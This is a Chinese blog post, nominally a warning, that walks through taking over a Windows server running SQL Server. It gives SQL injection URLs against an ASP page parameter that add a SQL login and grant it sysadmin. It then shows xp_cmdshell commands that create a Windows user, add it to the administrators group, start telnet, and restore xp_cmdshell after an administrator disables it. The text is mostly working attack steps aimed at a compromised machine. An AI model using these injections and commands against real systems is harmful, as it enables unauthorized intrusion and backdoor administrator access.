通过SQL Server 用户来添加Windows帐户并提升为管理员权限

2019-01-0210:51:23 发表评论 553

警惕,通过SQL Server 用户来添加Windows帐户并提升为管理员权限

use master
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
--测试是否有xp_cmdshell的权限,如果列出数据,说明有权限
exec xp_cmdshell 'dir c:'
go

--添加windows用户:
EXEC xp_cmdshell 'net user ghd /add';
--设置好密码:
EXEC xp_cmdshell 'net user ghd password';
--提升到管理员:
EXEC xp_cmdshell 'net localgroup administrators ghd /add';

 

方法一:
利用xp_cmdshell存储过程来添加windows用户,并提升到管理员权限。
然后依然利用xp_cmdshell来打开telnet服务。最后当然是登录上去了。

方法二:
利用sp_addlogin添加sql用户,同样还要提升权限。
再用查询分析器连接SQL Server,再利用xp_cmdshell打开telnet服务。
最后登录。

两种方法都能够得到shell,我就选择第二种方法。具体过程如下:

就往SQL Server里面添加一个用户吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回车后执行,浏览器自动补上了空格,变成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
页面依然正常显示,不过就算你打错了也会正常显示的,不能够判断究竟是
否成功。中间的20%吗,其实就是代表空格符的。上面也就相当于在查询分
析器里面执行:
use master;
dbo.sp_addlogin user;注:此处也可以为sp_addlogin user;前面的url里
面同样可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一样的。
现在我们已经添加了一个用户了,密码现在为空,这里就不管这么多了,反正也是
一个过渡的过程,就不加密码了。
如果要改密码,可以这样:dbo.password null,password,user;
dbo.password是修改用密码的存储过程,null是旧密码,password是新密码,
user自然就是用户名了。而在我们这个测试中也就是这样子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主题,现在权限还是不够高,那么就开始提升权限吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解释一下sysadmin的含义。SQL Server有八种固定服务器角色,具体如下:数据
库创建者(DBCREATOR),磁盘管理员(DISKADMIN),进程管理员(PROCESSADMIN),
安全管理员(SECURITYADMIN),服务器管理员(SEVERADMIN)安装管理员(SETUPADMIN)
,系统管理员(SYSADMIN),大容量管理员(BULKADMIN)当然最高权限的是系
统管理员(SYSADMIN),默认情况下sa也是系统管理员。
dbo.sp_addsrvrolemember是为固定服务器角色分配登录帐户的存储过程。

用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add

好了,我们现在已经实现了添加用户并且提升到sysadmin了。下面要做的是添加windows用户并且
开启telnet服务。
打开我的查询分析器,填入服务器地址,用户民和密码。连接成功了。尝试一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘
一个老问题就是还有ntlm这个拦路虎。
没问题,直接在肉鸡上也添加一个用户名和密码相同的账号然后再以这个帐号运行cmd就可以了。
具体的做法-----为cmd.exe创建一个快捷方式,右键点击,在"属性"里面钩上"以其他用户身份运行"。ok,双击。输入刚才的用户名和密码。

再对前面的两种方法进行回顾,其实两种方法还是有区别的。
假如管理员把xp_cmdshell禁止了,第一种方法就无法进行下去了。
有人会说,第二种方法不是也一样要用到xp_cmdshell吗。
正确,不过我们还是有办法恢复过来。SQL server 2000的恢复方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘
SQL Server 7.0的恢复方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘
你在2000下面是找不到xpsql70.dll的,同样7.0下面也是找不到xplog70.dll。
把第二种方法也写出来,没有测试,仅供大家参考:
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密码
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打开telnet服务
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登录

头像

发表评论

您必须登录才能发表评论!